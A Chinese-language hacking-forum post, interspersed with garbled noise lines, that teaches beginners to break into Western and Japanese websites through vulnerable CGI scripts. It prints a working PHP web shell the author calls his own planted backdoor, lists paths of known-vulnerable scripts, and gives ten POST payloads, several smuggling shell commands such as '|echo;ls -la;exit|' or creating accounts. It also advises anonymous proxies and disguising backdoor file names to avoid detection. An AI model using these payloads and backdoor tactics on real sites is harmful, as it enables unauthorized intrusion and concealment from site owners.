CGI 脚本入侵快速上手+脚本使用方法

admin

CGI 脚本入侵快速上手+脚本使用方法
) e, D! _' F8 F6 H6 u( i( Y大家好 我是bboyhip  只是一名菜菜的exploiter
0 ^/ X) i+ c; {0 m+ N, F很开心来到贵论坛
# x7 `( E: E  k3 Z+ O; G这里让我感觉 很有技术交流的感觉
我会长长来玩的
前言:
以下讲解针对欧美日本网站
5 A* I' N/ _) ~  ?  Y/ _當我們在做滲透分析的時候 方法有很多
我门都知道 国外伺服器大多是linux 平台
所以有很多网站程序有6成都会使用cgi 脚本来管理
目录为/cgi-bin/
" x4 @; r/ t! p, n5 C
; f3 J# @0 k8 f' m  B6 V- F' h; L只是个人在实务上一些经验
写的不好 请多多见谅喔
在这里我简单分为几个部份一定要會的
5 G  d( q" C' o6 c% E, V# Q3 ?! q( ^讲解一下
让没有基础的人很容易上手

# R& a2 E% P) g- d# |以下内容跟帖回复才能看到
==============================
- L' k% d  S4 V
4 D! L' W" i) J第1部份: 何谓Shell?
Shell的中文, 可称为 "壳".  Shell 是一个比较复杂的概念, 先看比较传统的解释:
8 H! w7 ^0 w( G. |" I% M, ZA shell is the program which reads user input from the command line and executes actions based upon that input.
$ ?* G1 s+ t& ?1 N  y- R, O+ k意思是, 通过应用程式(shell), 用户输入指令, 由系统执行该指令.

" S: R5 c4 [4 F' O  P# `' k对於黑客来说, shell是後门, 是入侵/ 控制/ 浏览对方系统的程式/ 方法.  
- ^5 ^% X0 Y+ A1 J6 e要自行建立一个shell是十分困难的, 因为要先找漏洞, 找到後, 利用该漏洞来写入档案/ 後门.  大家都知道, 有些漏洞只可加码, 有些可读档, 但可以写档的不多.  在数年前, 有一个十分流行及易用的漏洞addpasswd.cgi, 可以写後门, 但时至今日, 绝大部份的addpasswd.cgi已经被删除.
6 z( A7 r% h# K5 O' S% [所以, 对於入门的exploiter来说, 先收集别人的後门, 多多练习, 然後再学习做自己的shell.
' f/ w2 _+ ~+ J: Y6 P2 K
第2部份: Unix 指令
以下是一些常见及重要的指令:
0 i+ b. t4 w! N) Hpwd: 显示当前目录, 即是後门/程式所在的位置
如 /home/www/site.com/cgi-bin/
4 M5 a: w7 ^' ?4 h3 |: Ils: 列出档案 (-a 包含隐藏档; -l 包含详细资料).  
' S; x/ k5 [; Qls -al :详细列出档案资料(当前目录)
6 z) W6 R$ a% a/ Lls /: 列出根目录
ls /etc: 列出/etc的资料夹及档案
ls ../ -al: 详细列出上一层的资料夹及档案
9 ?4 \9 n2 g. ~: Q' kcat: 显示档案内容
- X7 }& I/ D0 f/ Hcat .htpasswd: 显示 .htpasswd 这个档案的内容(当前目录)
, t' C- O8 `8 h9 W; q9 M1 F3 }cat /etc/passwd: 显示 /etc/passwd 这个档案的内容
# e* z3 F6 I8 zwho: 显示谁login 至系统
man: 显示指令用法  
% ?- }  Y4 @: |5 rman ls: 显示ls这指令的用法  
mkdir 建立目录
+ @: k2 [. z3 z/ Z, w+ prmdir 删除目录
' i; f- n: n4 c; y3 r$ x1 x7 {& t& nmv 移动档案
3 j  f1 i8 J; A, \7 q& orm 删除档案
) _2 R" d0 x. K4 `$ ^
- i# f1 b1 I* {$ f第3部份: Shell的使用
% m" ]2 w1 E7 U2 c/ O- K例如:
! ~6 m8 M0 I/ V. A* B; fhttp://site.com/refer.php
, n: W6 z6 b4 E1 M& I5 R这是我的後门, 原代码如下:
7 A& K& d. H" _2 W<Form Action="#" Method="POST">
<Input type="text" name="cmd">
1 Y0 W% A3 Q* o<Input type="Submit">
# C0 s' z2 x8 h0 V, {</Form>
, W3 C; S8 j9 t) m& g<?php
$cmd = $_POST['cmd'];
  S2 e; x( D. U, Q& O$Output = shell_exec($cmd);
echo $Output;
?>
* b- s, P2 b; M) [输入pwd, 可得到绝对路径:
3 \- |' f2 q: s/ E: ]/home/htdocs/users/jnesbitt/jnesbitt/nylonfantasies.com
7 X: t+ G) o  R0 f# B! O/ N
第4部份: 注意事项
- 使用匿名代理, 保障自己
) p, Y& {$ L+ y* x$ A# x" T- 不可恶意破坏, 或更改现有档案, 否则管理员发现了, 不但会删除後门, 可能会有追究行动
/ ]; o+ `+ _: t- 加後门前, 必须了解目标系统是否支援.  例如, cgi後门, 应放在cgi-bin; 有些系统可能不支援 php後门等.
- 加後门前 (如 index.php), 先检查是否已存在该档案名称, 以免覆盖原有档案, 造成破坏.
- 後门的名称, 不可使用hack, crack, exploit等字眼, 最好使用index, index1, log, login, refer, tmp, test, info等, 鱼目混珠,
, R7 S6 X# e+ }/ P# ?9 o$ U不容易被发现.
- 将後门放在比较隐闭的地方 (例如 /cgi-bin/内, 有很多cgi档案, 比较少php档案)
8 H4 n6 O( z4 f+ R7 j' |; i针对网站的渗透分析方法太多了
这篇文章的重点是cgi 脚本攻击
/ Z, H( a& [; R' S  v/ U1 D2 F所以我用简单的叙述形容
& |6 L" H* y( I' e4 w7 B- d开始讲解脚本入侵过程:
7 q0 C1 {& |# _( L* N- O7 R在这里提供一些方法思路让大家学习一下
9 }2 \6 f8 ?& v7 T0 w# @* S+ Q% A
( X& W/ j6 q+ N1.一开始对一个网站进行cgi漏洞扫描
我们需要的东西有
6 [# ?( w, ~& m& K: N- {扫洞工具 如:triton..等等
E表
如
0 |( h; W/ h, G/cgi-bin/add-passwd.cgi
/WebShop/templates/cc.txt
! S$ n. \+ x4 S' p& ^/Admin_files/order.log
/orders/mountain.cfg
/cgi-sys/cart.pl
/scripts/cart.pl
4 d0 L- Q! P  v0 M, }/htbin/cart.pl
: j9 D' l+ P6 X) FE表来源可以是网路收寻或是自己的0 day

0 Q4 _4 g4 l5 j2.怎样确认扫到的洞 是真的还假的?
# k9 @) D/ h5 n1 v; Y9 h$ p举例: target: http://www.site.com/cgi-bin/add-passwd.cgi
  o2 i6 @9 H9 H+ |+ J一般都是在IE里先看一下的,记住这个返回码哦
' `9 a1 C6 d- @0 w8 e/ ^$ v0 hERROR:This script should be referenced with a METHOD of POST.
没有返回一定是假的
3 g3 Q) v9 O4 O# L$ A3.重来来了 很多人都会问我
他扫到很多洞 但是不会使用
因为这些漏洞 使用的语法 称为post
我们要找post 的方法很多
可以是源代码分析 找出介质
或是用抓包工具 抓他的语法...等等
( v+ [+ i& u* T# R, d) u" w
以下我提供10个 cgi 洞以及使用方法post
让大家可以针对网站去做扫描  
/index.cgi
wei=ren&gen=command
9 D! X' u( h$ l/ y# m/passmaster.cgi
Action=Add&Username=Username&Password=Password
/accountcreate.cgi
username=username&password=password&ref1=|echo;ls|
! k0 ~- Y- H  N. W# B& x) E8 s/form.cgi
name=xxxx&email=email&subject=xxxx&response=|echo;ls|
/addusr.pl
5 C" F& ~" |7 w7 m4 t/ H/cgi-bin/EuroDebit/addusr.pl
# y0 h' l; {+ A! G" T) juser=username&pass=Password&confirm=Password
1 l; _$ l" ~/ G1 Z$ K/ccbill-local.asp
post_values=username:password
) z6 x  {6 H4 T/count.cgi
pinfile=|echo;ls -la;exit|
/recon.cgi
' K' A) f5 f8 S9 @5 _2 c! U/recon.cgi?search
searchoption=1&searchfor=|echo;ls -al;exit|
9 a; ?! X* E- Y& s2 p: p2 [, F0 W' g/verotelrum.pl
  W% g* s: l3 E' ?8 yvercode=username:password:dseegsow:add:amount<&30>
" s% H2 E/ f, I0 B- b! z1 \/af.cgi_browser_out=|echo;ls -la;exit;|
) |9 H8 [4 q$ V. r2 f: O3 E
' h+ |$ v, ]; f- Y  u  ?! K. Z今天就讲到这  感谢大家支持